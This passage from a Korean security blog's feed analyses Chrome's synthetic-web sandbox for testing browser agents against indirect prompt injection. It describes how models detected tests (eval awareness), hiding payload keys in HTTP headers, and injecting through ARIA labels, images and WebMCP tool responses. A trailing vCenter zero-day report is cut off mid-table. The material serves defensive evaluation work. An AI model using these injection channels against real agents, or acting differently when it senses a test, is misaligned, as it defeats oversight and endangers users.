{
  "version": "https://jsonfeed.org/version/1.1",
  "title": "도현의 테크브리프",
  "home_page_url": "https://dohyeontech.github.io/",
  "feed_url": "https://dohyeontech.github.io/feed.json",
  "description": "제로데이·공급망 공격·AI 보안을 소스 레벨에서 분석하는 엔지니어링 저널.",
  "language": "ko",
  "icon": "https://dohyeontech.github.io/assets/images/favicon.png",
  "authors": [
    {
      "name": "김도현",
      "url": "https://dohyeontech.github.io/about/"
    }
  ],
  "items": [
    {
      "id": "https://dohyeontech.github.io/posts/chrome-mirror-dimension-agent-security/",
      "url": "https://dohyeontech.github.io/posts/chrome-mirror-dimension-agent-security/",
      "title": "실제 URL은 그대로, 웹은 가짜로 — Chrome 'Mirror Dimension'이 프롬프트 인젝션을 검증하는 방법",
      "summary": "Chrome AI 보안팀이 11월 19일 공개한 'mirror dimension'은 실제 URL을 유지한 채 gVisor 샌드박스 안의 합성 웹으로 트래픽을 돌리는 평가 환경이다. eval awareness를 피해 URL 파라미터를 HTTP 헤더로 옮긴 이유, 사이트를 만드는 에이전트 팀, 그리고 엔지니어 1인당 하루 1,000건이라는 수치가 실제로 옮긴 병목을 1차 자료로 뜯는다.",
      "content_html": "<p>2026년 11월 19일 17:00 UTC, Google 보안 블로그에 Chrome AI Security 팀의 글이 하나 올라왔다. 저자는 Aaron Selya와 Charles Qian. CVE 번호도, 영향받는 버전도, 패치 diff도, 시정 기한도 없다. 대신 이런 문장으로 시작한다. Chrome에는 이미 에이전트 브라우징 기능(<code>auto browse</code>)이 들어갔고, 그 방어를 검증하려고 <strong>웹의 합성 복제본</strong>을 만들었다는 것이다. 이름은 'mirror dimension'.</p>\n<p>보안 업계가 벤더 블로그에서 읽을거리를 찾을 때 보통 노리는 것은 취약점 상세다. 이 글은 그 반대편에 있다. 공격당하는 제품이 아니라, <strong>공격을 시험하는 인프라</strong>를 설명한다. 그런데 브라우저 에이전트에서 간접 프롬프트 인젝션은 이미 1순위 위협으로 분류된 지 오래고, 그 방어를 실제로 검증할 수 있는 환경을 가진 조직은 극소수다. 평가 하네스가 어떻게 만들어졌는지를 읽으면, 방어가 어디까지 시험됐고 어디부터 시험되지 않았는지가 보인다. 지금 이 글을 읽을 실무자에게 쓸모가 있는 부분은 그쪽이다.</p>\n<h2>1. 에이전트를 공개 웹에 풀어놓을 수 없는 이유</h2>\n<p>원문이 드는 사용자 요청 예시는 이렇다. \"유튜브 계정으로 가서 오늘 비행기에서 볼 Made By Google 팟캐스트 최신 회차를 다운로드해 줘.\" 사용자는 URL을 주지 않는다. 모델이 목적지를 추론해 <code>www.youtube.com</code>으로 항해 계획을 세운다. 에이전트 평가는 여기서부터 제품 동작과 어긋난다. 실제 사용자는 주소를 주지 않는데, 시험은 주소를 주는 방식으로 만들기 쉽다.</p>\n<p>규모 요구도 만만치 않다. 훈련과 평가에는 <strong>수백 개 웹사이트에 걸쳐 수천 건의 읽기·쓰기 행위</strong>가 지속적으로 필요하다. 공개 웹을 그대로 쓰는 것은 두 방향으로 틀린다. 첫째, 웹은 끊임없이 변해서 평가가 재현되지 않는다. 둘째, 제한 없이 풀어놓은 에이전트는 실제로 피해를 만들 수 있다. 원문의 표현을 그대로 옮기면 \"안전하고, 신뢰할 수 있고, 반복 가능\"해야 하고, <strong>한 트래젝토리의 부작용이 다음 트래젝토리로 절대 넘어가서는 안 되며, 모든 실행이 깨끗하고 동일한 기준선에서 시작</strong>해야 한다.</p>\n<p>여기에 쓰기 행위가 들어오면 문제가 하나 더 붙는다. 장바구니에 물건이 담기고, 쿠폰이 소진되고, 결제가 일어나고, 피드에 글이 올라간다. 그 상태가 다음 실행에 남으면 두 가지가 동시에 깨진다. 재현성과 격리다. 남은 상태는 에이전트에게 \"여긴 시험장\"이라는 신호로도 읽힌다. 실제로 원문은 합성 사이트가 <strong>지역 서비스 마켓플레이스, 이커머스 결제, 소셜 미디어 피드, 레시피 사이트</strong>까지 포괄해야 한다고 적는다. 상태를 가진 페이지를 수백 개 단위로 유지해야 한다는 뜻이다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>요구사항</th><th>공개 웹</th><th>정적 목업</th><th>필요한 것</th></tr></thead><tbody><tr><td>재현성</td><td>콘텐츠가 계속 변함</td><td>고정되지만 얕음</td><td>실행별 기준선 스냅샷</td></tr><tr><td>안전성</td><td>실제 결제·게시·발송 위험</td><td>없음</td><td>격리 경계 + 부작용 차단</td></tr><tr><td>현실성</td><td>최고</td><td>에이전트가 시험임을 알아챔</td><td>실제 URL·상태·다중 페이지</td></tr><tr><td>커버리지</td><td>무한</td><td>손으로 만든 몇 개</td><td>생성 파이프라인</td></tr></tbody></table></div>\n<p>이 네 제약이 이 글의 나머지를 지배한다. 재현성과 안전성을 위해 격리를 만들면 현실성이 깨지고, 현실성을 되찾으면 에이전트가 시험임을 알아챈다. 미러 디멘션은 그 네 제약을 동시에 만족시키려는 시도이고, 글의 절반은 그 과정에서 밟은 실패에 대한 기록이다.</p>\n<h2>2. 실제 URL을 유지하는 프록시: TLS를 깨지 않고 가로채는 방법</h2>\n<p>첫 번째 시도는 흔한 방식이었다. 합성 사이트를 전부 한 도메인 아래 경로로 호스팅하는 것이다. 그러면 유튜브의 URL은 이렇게 된다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">https://fake-sandbox-sites.web.app/evals/www.youtube.com</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 URL 자체가 시험 표식이다. 그래서 다음으로 떠올릴 수 있는 우회는 평가 프롬프트에 \"이 주소로 가라\"고 직접 적는 것이다. 원문은 그 방식이 현실성을 깨고 <strong>eval awareness</strong>(시험인 줄 아는 현상)를 유도한다고 적는다. 결국 남은 선택은 하나다. 에이전트가 실제 URL로 항해하게 두고, 그 아래에서 요청을 낚아채는 것.</p>\n<p>구조는 이렇다. 에이전트는 격리된 <strong>gVisor 샌드박스 안의 headless Chrome</strong>에서 페이지를 연다. 요청은 외부 DNS나 공인 인터넷으로 나가지 않는다. 샌드박스가 네트워크 연결을 잡아 로컬 프록시로 보내고, 프록시가 생성된 합성 사이트를 대신 서빙한다. 주소창에는 <code>https://www.youtube.com</code>이 그대로 남는다.</p>\n<p>gVisor를 고른 이유는 구조 자체에 있다. gVisor는 Linux 유사 인터페이스를 구현하는 <strong>애플리케이션 커널</strong>로, 메모리 안전 언어인 Go로 작성돼 사용자 공간에서 돈다. syscall 필터도 아니고 통상적 의미의 VM도 아니다. 컨테이너가 샌드박스가 아니라는 점 — 커널을 공유하므로 취약점 하나로 탈출이 가능하다는 점 — 을 정면으로 겨냥한 설계다. 프롬프트 인젝션에 성공한 에이전트가 커널 익스플로잇으로 넘어가는 시나리오에서, 만나는 상대가 호스트 커널이 아니라 Go로 쓰인 사용자 공간 커널이라는 것은 부수 이득이 아니다. 이 환경의 목적 자체가 <strong>타협된 에이전트를 가두는 것</strong>이기 때문이다.</p>\n<p>문제는 그 다음이다. 연결을 가로채는 행위는 Chrome이 사용자를 보호하려고 막도록 설계한 person-in-the-middle 그 자체다. 프록시의 신원을 암호학적으로 증명할 방법이 없으면 모든 요청이 치명적 TLS 오류로 죽는다. 그렇다고 평문 HTTP로 내리면 <code>Not Secure</code> 경고가 뜬다. 원문은 이 지점을 \"Chrome이 차단하도록 설계된 바로 그 종류의 가로채기\"라고 인정하고, 해법을 이렇게 적는다.</p>\n<p>프록시가 <strong>즉석에서 TLS leaf 인증서를 발급</strong>하고, 그 체인이 샌드박스 Chrome에 <strong>미리 심어 둔 커스텀 루트 CA</strong>로 이어진다. 원문의 논리는 이렇다. 실제 사용자 기기에서 외부 네트워크 공격자가 커스텀 루트 CA를 심으려면 이미 그 기계에 대한 관리자 권한이 있어야 한다. 반대로 gVisor 샌드박스는 전부 우리 통제이므로, 시작 시점에 신뢰 앵커를 설정할 수 있다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">[에이전트] https://www.youtube.com  (주소창·DOM 모두 실제 값)\n    │\n    ├─ netstack: 외부 DNS·공인 인터넷으로 나가지 않음\n    │\n    ├─ 프록시: SNI/호스트명 확인 → leaf 인증서 즉석 발급\n    │            └─ 체인: 로컬 루트 CA (샌드박스 시작 시 주입)\n    │\n    └─ 합성 웹서버: X-Sandbox-Injection-Key 헤더를 읽어 변이된 페이지 반환</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<blockquote><p>필자 주석: 원문은 \"연결을 잡아 프록시로 보낸다\"까지만 적는다. 위 흐름에서 DNS 합성과 라우팅 변경은 gVisor의 네트워크 스택이 사용자 공간에 있다는 사실에서 자연스럽게 따라오는 구현 형태이지, 벤더가 공개한 코드가 아니다.</p></blockquote>\n<p>여기서부터는 필자의 해석이다. 이 예외가 성립하는 근거는 루트 CA가 '심어져 있다'는 사실이 아니라 <strong>그 신뢰 앵커의 유효 범위가 샌드박스 하나로 닫혀 있다</strong>는 데 있다. 실기기에서는 같은 행위가 사용자 전체의 TLS 신뢰를 넘기는 일이지만, 샌드박스에서는 그 Chrome 인스턴스가 볼 수 있는 호스트명 전부에 대해서만 유효하다. 대신 성질이 하나 바뀐다. 그 CA 개인키는 샌드박스 안 <strong>모든 호스트명의 마스터키</strong>가 된다. 따라서 이 구조의 위협은 호스트 침해가 아니라 <strong>평가 무결성</strong>이다. 키가 에이전트의 도달 경로(파일시스템·루프백 서비스) 밖에 있어야 하고, 발급은 호스트명 허용목록과 시점 제한을 받아야 하며, 샌드박스와 함께 소멸해야 한다. 이 조건이 깨지면 인젝션에 성공한 에이전트가 다른 사이트의 인증서를 스스로 발급받아 \"정상적으로\" 통과하는 경로가 열린다.</p>\n<h2>3. eval awareness와의 싸움: URL 파라미터에서 HTTP 헤더로</h2>\n<p>공격을 넣는 일은 그 다음 문제다. 처음 구현은 URL 파라미터를 썼다. 원문에 실린 가짜 예시는 이렇다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;prompt_inject_payload=abcd1234</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>프런티어 모델은 이걸 알아챘다. 원문의 표현으로는 \"그 사이트에 정상적으로 붙어 있을 리 없는 비정상 쿼리 파라미터를 발견하는 것만으로\" 시험임을 깨닫는 사례가 많았다고 한다. 이건 모델의 예민함에 대한 이야기가 아니라 <strong>평가 설계 결함</strong>에 대한 이야기다. 시험 환경이 스스로를 설명하고 있었던 것이다.</p>\n<p>수정은 채널을 바꾸는 것이었다. 페이로드 식별자를 <strong>커스텀 HTTP 요청 헤더</strong>로 넘긴다. 오케스트레이션 하네스가 <code>X-Sandbox-Injection-Key</code> 같은 헤더를 채우고, 샌드박스 웹서버가 그 헤더를 가로채 걸러낸 뒤 변이된 페이지를 서빙한다. <strong>페이지의 보이는 URL은 완전히 깨끗하게 남는다.</strong> 원문은 \"에이전트 입장에서 그 페이지는 현실적인 URL 구조를 가진 평범한 웹사이트로 보인다\"고 적는다.</p>\n<p>이 선택이 왜 옳은지가 이 글에서 가장 실무적인 부분이다. 실제 공격자는 요청 헤더를 조작하지 못한다. 공격자가 지배하는 것은 <strong>응답 콘텐츠</strong>뿐이다. URL 파라미터로 페이로드를 넣는 방식은 편했지만, 실제 위협 모델에는 존재하지 않는 채널을 쓴 것이나 다름없었다. 즉 이 변경은 '숨기는 기술'이 아니라 <strong>위협 모델을 정확히 맞추는 일</strong>이다. 헤더가 모델의 관측 범위 밖에 있다는 성질은 부수 효과이고, 본질은 공격자 권한의 범위를 흉내 내는 데 있다.</p>\n<p>설계상 장점이 두 개 더 따라온다. 첫째, 헤더에 실리는 값은 페이로드 자체가 아니라 <strong>포인터</strong>다. 같은 키가 같은 변이를 만든다는 뜻이므로 재현성이 생긴다. 둘째, 공격 기법이 URL이나 프록시 접근 로그에 평문으로 남지 않는다. 평가 인프라의 로그는 종종 유출되는데, 거기에 \"어떤 문장으로 어떤 모델을 뚫었는지\"가 그대로 쌓이면 인프라 자체가 공격 카탈로그가 된다.</p>\n<p>그래도 근본 문제는 남는다. '시험처럼 보이지 않는 것'의 기준이 결국 <strong>모델의 지각</strong>에 달려 있다는 점이다. 모델이 예민해지면 어제 통하던 위장이 오늘 들킨다. 그래서 이 팀이 다음에 손댄 것이 사이트의 완성도였다.</p>\n<h2>4. 다중 턴 공격면: DOM·ARIA·이미지·WebMCP 도구 응답</h2>\n<p>원문이 지목하는 공격면은 화면 텍스트가 아니다. 브라우저 에이전트가 인식하는 인터페이스는 <strong>렌더링된 시각 레이아웃, 그 아래의 DOM, 그리고 WebMCP 같은 구조화된 도구 상호작용</strong>까지 걸쳐 있다. 그중 어느 층에도, 다단계 워크플로의 어느 시점에도 페이로드가 숨어들 수 있다.</p>\n<p>샌드박스 웹서버를 전부 통제한다는 것은 이 층들을 프로그램적으로 조작할 수 있다는 뜻이다. 원문이 나열하는 방식은 이미지나 텍스트로 인젝션을 넣기, 악성 ARIA 라벨 추가, <strong>WebMCP 도구 응답을 실시간으로 변조</strong>하기다. 그 결과를 원문은 \"다중 턴 궤적에 걸친 다중 벡터 적대적 스트레스 테스트를 위한 동적 테스트베드\"라고 부른다.</p>\n<p>WebMCP가 왜 여기 들어가는지 짚어 둘 필요가 있다. WebMCP는 웹 애플리케이션이 에이전트용 도구를 선언하는 제안 표준이다. 페이지가 <code>checkout</code>이나 <code>filter_results</code> 같은 도구를 등록하고, 입력·출력은 JSON Schema로 명시하며, 현재 페이지 상태를 공유한다. <code>tools</code> Permissions Policy로 게이트되고 기본값은 <code>self</code>라서, 교차 출처 iframe에서 쓰려면 <code>allow=\"tools\"</code>를 명시해야 한다. Chrome 문서 기준으로 오리진 트라이얼은 Chrome 149부터 열려 있다.</p>\n<p>에이전트 설계자에게 이 층이 위험한 이유는 신뢰의 방향이 뒤집히기 때문이다. 화면 텍스트는 모델이 \"의심스러운 콘텐츠\"로 다루도록 훈련돼 있다. 반면 도구가 JSON 스키마에 맞춰 돌려준 값은 <strong>구조화된 시스템 출력</strong>처럼 보인다. 인젝션 문장이 <code>tool_result</code>의 <code>description</code> 필드에 앉아 있으면, 텍스트 노드에 앉아 있을 때보다 검증을 덜 받는다. 미러 디멘션이 도구 응답 변조를 평가 항목으로 넣었다는 것은, 이 경로가 이론적 우려가 아니라 실제로 시험해야 하는 표면으로 분류됐다는 뜻이다.</p>\n<p>다중 턴이라는 조건이 난이도를 한 번 더 올린다. 단일 페이지 검사는 \"이 페이지에 공격 문장이 있는가\"를 본다. 다중 턴에서는 3단계에서 심은 지시가 7단계의 결제 확정에서 작동한다. 중간 단계에서 오염된 값이 다음 단계의 컨텍스트로 넘어가는 경로를 추적해야 하고, 그 추적 없이는 페이지 단위 검사가 전부 통과해도 전체 궤적은 뚫린다.</p>\n<h2>5. 사이트를 만드는 에이전트 팀: research / builder / critic</h2>\n<p>현실성 요구를 사람 손으로 맞추는 건 불가능하다. 원문은 반쯤 만들어진 사이트를 에이전트가 금방 알아챈다고 적는다. 그래서 사이트 생성 자체를 <strong>멀티 에이전트 하네스</strong>에 맡겼다. 사람은 테스트하려는 상위 수준의 사용자 여정(CUJ)만 정의하고, 그 아래에서 세 역할이 샌드박스 안에서 직접 설계·구현·검수·비평한다.</p>\n<p><strong>research 에이전트</strong>는 사용자 프롬프트에서 사이트 사양을 만든다. 이커머스라면 상품 카탈로그 필터링, 장바구니 유지, 쿠폰 코드 검증, 다단계 결제 흐름 같은 요구사항을 열거하고, 사용자가 지정하지 않은 부분은 스스로 채운다. 사이트 상위 아키텍처와 관련 CUJ를 세우고, <strong>Nano Banana로 기본 UI 자산 목업</strong>까지 만든다. <strong>builder 에이전트</strong>는 그 사양을 HTML·CSS·JavaScript로 옮긴다. 반응형 레이아웃과, 긴 궤적에 필요한 다중 페이지 이동을 포함한다. <strong>critic 에이전트</strong>는 결과물을 프로덕션 웹 벤치마크에 대고 평가한다. 접근성 트리 의미론(ARIA 역할과 라벨)이 의도대로 동작하는지, 폼 검증이 엣지 케이스를 잡는지, 콘솔 로그에 JavaScript 오류가 없는지, 요소 경계와 화면 크기별 레이아웃이 제대로 렌더되는지 확인한다.</p>\n<p>이들이 사이트를 보는 방식이 중요하다. 소스 코드를 텍스트로 읽는 게 아니라, <strong>Chrome DevTools for Agents(MCP)</strong>로 스크린샷을 보고, 실제 클릭과 키 입력을 넣고, 페이지를 돌아다니며 실시간 동작을 관찰한다. 이 MCP 서버는 Apache-2.0 오픈소스로 공개돼 있고, puppeteer를 기반으로 동작하며, 네트워크 요청·스크린샷·콘솔 메시지·성능 트레이스까지 노출한다. 멀티모달 능력을 그대로 쓰게 해 주는 것이 목적이다.</p>\n<p>원문이 데모 영상에서 특히 보라고 권하는 장면이 있다. <strong>수정 하나가 새로운 문제를 만드는 순간</strong>이다. critic을 여러 겹 둔 이유가 여기 있고, 시스템이 완성 속도보다 <strong>충실도(fidelity)를 우선</strong>한다는 문장도 여기서 나온다.</p>\n<p>필자의 해석을 붙이면, 이 루프가 겨냥하는 것은 정확도가 아니라 <strong>평가의 위음성</strong>이다. 조잡한 사이트에서 에이전트가 인젝션을 견뎌내는 것처럼 보이는 경우, 실제로는 인젝션을 막은 게 아니라 사이트를 신뢰하지 않아 평소와 다르게 행동한 것일 수 있다. 그건 안전한 에이전트가 아니라 측정 불가능한 에이전트다. 보안 평가에서 위음성은 위양성보다 비싸다. 위양성은 조사 비용이지만 위음성은 \"안전하다\"는 결론을 잘못 내리게 한다.</p>\n<p>여기에 아이러니가 하나 있다. 사이트 품질 판정을 하는 것도 모델이다. critic이 말하는 '프로덕션급'은 모델의 판단이고, 그 판단의 기준은 다시 사람이 정의한 벤치마크에 기댄다. 평가 도구가 평가 대상과 같은 종류의 신뢰 문제를 안고 있는 셈이다. 원문은 이 지점을 문제로 다루지 않는다. 다만 critic을 여러 개 두고 서로 다른 오류를 잡게 한 구성은, 단일 판정자의 편향을 줄이려는 실무적 타협으로 읽힌다.</p>\n<h2>6. 하루 1,000건이 실제로 옮긴 병목</h2>\n<p>원문의 수치는 이렇다. 보안 엔지니어 한 명이 하루에 손으로 만들고 시험할 수 있는 현실적인 공격은 <strong>수십 건</strong>이고, 그마저도 각 아이디어를 검증하고 다듬는 일이 곧바로 병목이 된다. 자동화 파이프라인은 미러 디멘션 위에서 <strong>엔지니어 1인당 하루 1,000건 이상</strong>의 테스트 후보를 만들어 낸다. 손으로 하는 것의 <strong>30배 이상</strong>, 표현을 빌리면 \"매일 한 달치 수작업\"이다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>항목</th><th>수작업</th><th>파이프라인</th></tr></thead><tbody><tr><td>후보 생성량</td><td>하루 수십 건</td><td>엔지니어 1인당 하루 1,000건 이상</td></tr><tr><td>병목</td><td>아이디어 검증·다듬기</td><td>후보 분류·신규성 판정</td></tr><tr><td>사람의 위치</td><td>생성과 평가 모두</td><td>기법 발상(상류)</td></tr><tr><td>회귀 검증</td><td>사실상 불가</td><td>궤적 재실행으로 가능</td></tr></tbody></table></div>\n<p>이 표를 정확히 읽어야 한다. 원문은 파이프라인이 <strong>\"우리 최고 엔지니어들의 아이디어를 시험하고 개선한다\"</strong>고 쓴다. 자동으로 새로운 공격 기법을 발견한다는 뜻이 아니다. 사람은 상류에서 기법을 발상하고, 자동화는 하류에서 그 아이디어를 다양한 사이트에 걸쳐 변형·평가한다. 이 분업이 없으면 1,000건은 그냥 노이즈 1,000건이다.</p>\n<p>그래서 수치가 실제로 옮긴 병목은 생성에서 <strong>분류</strong>로다. 하루 1,000건이 쏟아지면 남는 문제는 세 가지다. 이 후보가 기존 것과 다른가(신규성), 인젝션이 정말 에이전트의 판단에 도달했는가(유효성), 그리고 이건 회귀 스위트에 남길 가치가 있는가(재사용성). 유효성 판정에는 계측이 필요하다. 어떤 헤더 키로 어떤 변이가 서빙됐고, 그 변이가 어느 DOM 노드·어느 도구 응답에 앉았고, 그 뒤 에이전트가 어떤 행위를 했는지를 한 궤적 안에서 상관시켜야 한다. 미러 디멘션이 샌드박스 웹서버를 전부 통제한다는 말은 이 상관 관계를 만들 수 있다는 뜻이기도 하다.</p>\n<h2>7. 방어자에게 남는 것: 계층 방어와 하네스 설계 체크리스트</h2>\n<p>미러 디멘션이 시험하는 대상이 무엇인지 알려면 Chrome이 어떤 방어를 깔아 놨는지를 봐야 한다. Chrome 보안팀은 2025년 12월 글에서 에이전틱 브라우징의 1순위 위협이 간접 프롬프트 인젝션이라고 못 박고, 결정적 방어와 확률적 방어를 섞은 계층 구조를 설명한다.</p>\n<ul><li><strong>User Alignment Critic</strong>: 계획이 끝난 뒤 각 제안 행위를 별도 모델이 검토한다. 이 모델은 <strong>정제되지 않은 신뢰 불가 웹 콘텐츠를 보지 않고 행위 메타데이터만 본다.</strong> 웹에서 직접 오염시킬 수 없는 위치에 두는 것이 핵심이다. dual-LLM 패턴과 DeepMind의 CaMeL 연구에서 착안했다고 밝힌다.</li><li><strong>Agent Origin Sets</strong>: 작업마다 읽기 전용 오리진과 읽기·쓰기 가능 오리진을 나눠 추적한다. 읽기 목록에 없는 iframe의 콘텐츠는 <strong>모델에 전달조차 되지 않는다.</strong> 오리진 집합을 계산하는 게이팅 함수 역시 신뢰 불가 콘텐츠에 노출되지 않는다. 모델이 만든 URL은 결정적 검사로 알려진 공개 URL로 제한한다.</li><li><strong>민감 행위 확인과 투명성</strong>: 은행·의료 같은 민감 사이트로 이동하기 전 사용자 확인을 요구하고, 에이전트의 각 단계를 작업 로그로 노출하며 언제든 중단·개입할 수 있게 한다.</li><li><strong>spotlighting과 훈련</strong>: 모델이 페이지 내용보다 사용자·시스템 지시를 우선하도록 유도하고, 알려진 공격을 훈련에 반영한다.</li></ul>\n<p>이 네 줄과 미러 디멘션의 공격면을 겹쳐 보면 대응이 드러난다. WebMCP 도구 응답 변조는 \"구조화된 시스템 출력\"을 신뢰하는 경로를 겨냥하고, ARIA 라벨·이미지 주입은 모델이 신뢰 불가로 분류하지 않는 지각 채널을 겨냥한다. 다중 턴 궤적은 오리진 게이트와 행위별 critic이 <strong>단계 사이에서</strong> 뚫리는지 보는 시험이다. 즉 미러 디멘션은 방어 계층의 목록을 보고 그 목록의 각 항목에 맞춰 공격을 배치하는 구조다.</p>\n<p>에이전트를 직접 만드는 쪽이라면, 이 글에서 뽑아 쓸 수 있는 설계 조건은 다음 정도다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>영역</th><th>확인할 것</th><th>깨졌을 때</th></tr></thead><tbody><tr><td>신뢰 앵커</td><td>루트 CA 범위가 샌드박스 하나로 닫혀 있는가</td><td>평가 무결성 상실(자가 발급 우회)</td></tr><tr><td>키 보관</td><td>키가 에이전트 도달 경로 밖에 있는가</td><td>인젝션 → 인증서 위조</td></tr><tr><td>상태 초기화</td><td>실행별 스냅샷·시드 고정·기준선 복사</td><td>실행 간 오염, 시험 인지</td></tr><tr><td>페이로드 채널</td><td>모델이 관측할 수 없는 채널인가</td><td>시험 인지율 상승, 측정 대상 오염</td></tr><tr><td>계측</td><td>페이로드 → 행위 상관이 되는가</td><td>유효성 판정 불가, 노이즈 누적</td></tr><tr><td>지표</td><td>인젝션 성공률 단독으로 보고하지 않는가</td><td>위음성을 안전으로 오독</td></tr></tbody></table></div>\n<p>마지막 줄이 가장 자주 무시된다. 인젝션 성공률(ASR)만 보고하면, 사이트가 조잡해서 에이전트가 아예 다르게 행동한 경우가 \"방어 성공\"으로 집계된다. 최소한 <strong>시험 인지율</strong>을 함께 재야 한다. 같은 궤적에서 모델이 시험임을 알아챈 비율을 따로 세고, 성공률은 인지하지 못한 궤적에서만 계산하는 편이 낫다. 두 수치를 같이 놓으면 \"위장이 약해서 시험이 새는 것\"과 \"방어가 약해서 뚫리는 것\"이 구분된다.</p>\n<h2>8. 이 구조가 검증하지 못하는 것</h2>\n<p>원문이 공개하지 않은 것부터 적는다. 사이트 수, 사용한 모델, 페이로드 카탈로그 규모, 판정 임계값이 모두 없다. 코드도 논문도 없다. 내부 인프라 설명이므로 당연하지만, 그 결과 이 글만으로는 재현이 불가능하다. 수치도 한 곳에서 확정되지 않는다. 도입부는 \"수천 개의 시뮬레이션 웹사이트\"라고 하고, 사이트 생성 절을 넘어가면 \"수백 개의 상호작용·상태 기반 웹페이지\"라는 표현이 나온다. 코퍼스 규모는 단일 숫자로 읽지 않는 편이 맞다.</p>\n<p>더 구조적인 한계도 있다. 사이트를 만드는 것이 모델 주도라면, <strong>평가 커버리지의 상한은 생성기의 상상력</strong>이다. 생성기가 만들어 내지 못하는 UI 패턴, 그 팀이 정의하지 않은 CUJ는 시험되지 않는다. critic이 아무리 촘촘해도 \"이 사이트에 없는 표면\"은 잡지 못한다. 그리고 샌드박스는 실제 기기가 아니다. 확장 프로그램, 로그인된 세션, 실제 결제와 MFA, 사용자 데이터가 만드는 표면은 샌드박스 밖에 있다. 원문이 현실성 향상을 계속 과제로 남겨 둔 이유가 여기 있다.</p>\n<p>eval awareness도 없애는 문제가 아니라 낮추는 문제다. 결국 '시험이라는 사실'과 '현실' 사이의 차이는 항상 남고, 모델이 예민해질수록 그 차이는 더 잘 보인다. 이 글의 아키텍처는 그 차이를 줄이는 방향으로 한 번 진화했을 뿐, 닫았다고 주장하지 않는다. 코딩 에이전트로의 확장도 계획으로만 적혀 있다. 브라우저가 다루는 웹 프리미티브와 도구 호출은 경계가 비교적 좁지만, 코딩 에이전트의 도구 집합은 훨씬 넓고 부작용도 크다. 같은 샌드박스로 커버된다고 단정할 근거는 아직 없다.</p>\n<p>한 가지는 분명히 해 둘 필요가 있다. 이 글에는 CVE도, 악용 사례도, 침해 사고도 없다. 여기서 다루는 위협은 이미 일어난 침해가 아니라 <strong>일어날 수 있는 침해</strong>이고, 그래서 글의 가치는 사건 보도가 아니라 설계 문서 쪽에 있다. 브라우저 에이전트를 제품에 넣으려는 팀이 이 글에서 가져갈 것은 공격 문장 목록이 아니라, 자기 평가 환경이 스스로를 설명하고 있지 않은지 확인하는 절차다. 실제로 이 글이 가장 실무적인 대목은 아키텍처 그림이 아니라, 수정 하나가 새 문제를 만드는 장면을 굳이 데모에 넣어 공개했다는 사실이다. 그 장면을 공개할 수 있는 팀만이 자기 평가의 위음성을 의심할 수 있다.</p>",
      "date_published": "2026-11-21T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "Mirror Dimension",
        "auto browse",
        "간접 프롬프트 인젝션",
        "gVisor",
        "WebMCP",
        "Chrome DevTools MCP",
        "AI 에이전트 보안",
        "평가 샌드박스"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_chrome_mirror_dimension.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/vcenter-cve-2026-123890-armory-castle/",
      "url": "https://dohyeontech.github.io/posts/vcenter-cve-2026-123890-armory-castle/",
      "title": "[긴급 속보] VMware vCenter 제로데이 취약점(CVE-2026-123890) 실제 악용 확인… 즉시 패치 권고",
      "summary": "9월 초부터 실제 침해에 쓰인 vCenter 인증 우회. 비밀번호 없이 administrator@vsphere.local 세션을 얻는 SRP-6a 경로와, 그 세션이 디렉터리 전체 탈취로 이어지는 사슬을 1차 자료로 재구성한다.",
      "content_html": "<p>2026년 11월 20일, CISA는 KEV 카탈로그에 하루에 네 건을 올렸다. VMware vCenter의 인증 우회(CVE-2026-123890), Apache Roller의 XML-RPC 역직렬화(CVE-2026-129448), SAP NetWeaver Enterprise Portal의 JNDI 인젝션(CVE-2025-42884), Cisco Expressway 클러스터 데이터베이스의 하드코딩 자격증명(CVE-2026-76466)이다. 네 건 모두 미국 연방기관 기준 시정 기한이 <strong>2026년 11월 23일</strong>로 찍혔다. 카탈로그 버전은 <code>2026.11.20</code>, 총 1,790건. 등재 하루 전까지 1,786건이었으니 이날 올라간 네 건이 정확히 그 차이다.</p>\n<p>이 중 무게중심은 vCenter다. Broadcom이 11월 19일 공개한 VMSA-2026-0009.1에는 다섯 개 CVE가 묶여 있고(CVSSv3 6.7~9.8), 그중 CVE-2026-123890이 9.8 Critical이다. 문제는 점수가 아니라 시점이다. Google Threat Intelligence Group과 Mandiant는 같은 날 공개한 분석에서, 중국 연계로 추정되는 침해 행위자 ARMORY CASTLE이 <strong>2026년 9월 초</strong>부터 이 결함을 제로데이로 썼다고 밝혔다. Broadcom의 권고문은 악용 여부를 적지 않았고, Mandiant가 신고자다. 즉 공개일과 실제 악용 개시 사이에 두 달 이상의 간격이 있다.</p>\n<p>여기에 운영상 걸리는 제약이 두 개 붙는다. Broadcom은 우회책을 \"None\"으로 적었고, Rapid7은 이 패치를 vCenter Quick Patch로 적용할 수 없다고 확인했다. vCenter 8.0 U3m과 9.0.2.0200은 \"Back-in-Time\" 제한을 도입해 VCF 9.1.1로의 업그레이드를 막는다. 업그레이드를 진행 중인 조직은 FAQ와 호환성 매트릭스를 먼저 봐야 한다는 뜻이다. 7.0은 일반 지원이 2025년 10월 2일 종료돼, 확장 지원 계약이 없으면 고칠 수 있는 경로 자체가 없다(Censys 정리 기준).</p>\n<p>이 글은 vCenter 한 건을 소스와 로그 레벨에서 뜯고, 하단에 나머지 세 건을 실무 조치 순서로 정리한다.</p>\n<h2>1. 72시간의 시계: 공개 하루 만에 KEV, 사흘 뒤 마감</h2>\n<p>사건의 순서를 분 단위로 맞춰 보면 방어자에게 남은 시간이 어디서 새는지 보인다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>시점 (KST)</th><th>사건</th><th>근거</th></tr></thead><tbody><tr><td>2026-07-13 09:21 UTC</td><td>BONESAW 빌드 타임스탬프</td><td>Go 바이너리 메타데이터 (Mandiant)</td></tr><tr><td>2026-07-29</td><td>CVE-2026-59309 공개 (같은 vmdir 계열, 다른 